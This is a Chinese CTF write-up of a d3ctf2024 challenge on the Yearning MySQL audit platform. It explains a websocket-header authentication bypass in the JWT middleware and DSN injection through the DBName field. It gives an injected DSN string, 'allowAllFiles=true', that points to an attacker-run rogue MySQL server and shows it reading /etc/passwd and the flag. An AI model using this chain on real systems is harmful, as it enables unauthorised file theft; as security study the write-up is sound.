d3ctf2024中的yearning-MYSQL审计平台的详细代码审计分析;
知识要点:golang
代码审计+dsn
注入+rouge_mysql_server
使用
# 前端项目地址
https://github.com/cookieY/Yearning-gemini
# 后端项目地址
https://github.com/cookieY/Yearning
# 换源
npm config set registry https://registry.npm.taobao.org
npm config get registry
\# 编译前端代码成dist
npm install \--force
npm install \-legacy-peer-deps
npm run build
# 移动到后端代码的service文件夹下面
mv dist ../Yearning/src/service
# 后端
go mod tidy
go run main.go
记得conf.toml
配置文件的host不能填本地回环地址,本地docker起的mysql数据库名字不是默认的,是Yearning
:
goland
中的运行调试配置:
Websocket协议
是对http的改进,可以实现client 与 server之间的双向通信; websocket连接一旦建立就始终保持,直到client或server 中断连接,弥补了http无法保持长连接的不足,方便了客户端应用与服务器之间实时通信。
适用场景: html页面实时更新, 客户端的html页面内,用javascript
与 server
建立websocket
连接,实现页面内容的实时更新。Websocket 非常适合网页游戏、聊天、证券交易等实时应用。 要求保持长连接的实时通信的应用场景。 如基于位置的服务应用,物联网,多方协作软件,在线教育,带社交属性的手机APP等。
推荐使用apifox
(https://apifox.com/apiskills/how-to-use-websocket-in-python/)进行websocket
的请求,python
的websocket
库实在不敢恭维。?
在router.go
可以看到所有的路由,可以看到其中一些包含了鉴权操作:
然后发现/api/v2
路由组中使用了一个JWTWithConfig
中间件进行鉴权的操作,跟下去看看:
前面进行了一堆的config
判断,然后最后发现有一个return function
,判断如果是websocket
请求,就直接返回。
这边静态看不到这个iswebsocket
函数具体内容是什么,给他打个断点,调试一下(可以访问http://127.0.0.1:8000/api/v2/common/123),发现是在依赖里面,我真是个哈皮,其中判断了http
请求是否包含两个头部:
需要满足http
头部的内容是Connection: upgrade
和 Upgrade: websocket
,这样就能直接return,看起来直接return就是绕过了鉴权。然后我们就能直接调用/api/v2
下面所有的子路由。(发现好像调用websocket
请求自带这两个头部。)
然后再fetch子路由找到一个fetchtableinfo
函数,里面u.FetchTableFieldsOrIndexes
可以设置dsn
的参数:
整了大半天,缘来是bind函数
绑定的参数:
直接用apifox
这么发就行了,搞了半天get
传参啊?:
重点先说:
source_id
无效,则model.DSN
其他字段置空;model.NewDBSub
函数中,实现FormatDSN
拼接字符串,再ParseDSN解析成对象;FormatDSN
的时候是倒着解析的,解析到/
+DBName的位置;DSN
完全可控,只要注入正确格式的DSN
,就能用恶意的server
进行恶意操作。至于哪里有dsn注入
呢,这里应该是sourceid
可以让DB
无效,然后newdbsub
的时候会进行其他的操作:(注意,这里我们只能注入DBName
,因为只有这里可控。)
主要是NewDBSub
中的InitDSN
先进行了formatDSN
操作(凭借成dsn字符串),然后在drive.New
处进行了parseDSN
操作(将dsn字符串解析成结构体变量。):
先进行了formatDSN
,就是将上述给的json
配置转换为一个DSN字符串
,牛;
先写了用户+密码,然后写了协议+地址,然后写了/+DBName数据库名,然后判断是否有参数传递,然后我们其实可以在mmsql
的Config
看到所有参数的含义,是go-sql-driver
的mysql
驱动,其中,比较重要的就是要设置上面的AllowAllFiles
为true
,才能进行本地文件的加载,最后就是返回了这个dsn
字符串
在driver.New
才进行了parseDSN
的操作,然后这个DSN
就是前面InitDSN
拼接的dsn
字符串:
查看parseDSN
的流程发现,他是倒着进行对整个dsn字符串
进行遍历找寻/符号
的,真牛哈哈哈哈;
那这样,前面的添加的一些tcp(:0)
好像也没用了,因此前面我们通过对DBname的注入整个恶意的dsn的话,应该是可以达到预期效果的:
最终走到底部,解析出来的值设这样的(所以记得最后加个&
,虽然账号密码没有被正常解析,但是IP
地址解析正确了,所以应该可以进行注入攻击。):
websocket
地址:ws://47.103.216.47:30546/api/v2/fetch/fields
需要利用rmb122大哥的rouge_mysql_server
项目进行攻击:
https://github.com/rmb122/rogue_mysql_server
\# 在当前目录下生成配置文件模版, 如果已有配置文件可以跳过这一步
./rogue\_mysql\_server \-generate
\# 运行服务器, 使用刚刚生成的 config.yaml
./rogue\_mysql\_server
\# 或者手动指定配置路径
./rogue\_mysql\_server \-config other\_config.yaml
**(注意IP地址要使用go-mysql-driver这边的格式:admin:123456@tcp(192.168.193.205:3307)/foo?allowAllFiles=true&**)用`apifox`这么发,就能读取到本地的文件了:
按照下面的格式进行发送请求攻击:
本地成功读取到/etc/passwd文件:
远程打一波(ws://47.103.216.47:30546/api/v2/fetch/fields
),记得vps上面的端口要把安全组打开,也是成功读取到了flag:
FetchTableFieldsOrIndexes
函数的show这里进行了字符串拼接,所以明显可以存在SQL盲注,交给大哥们去分析了。
学到了很多,熟悉了一波golang
的语法和调试,以及dsn
注入+rouge_mysql_server
的利用。
10 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!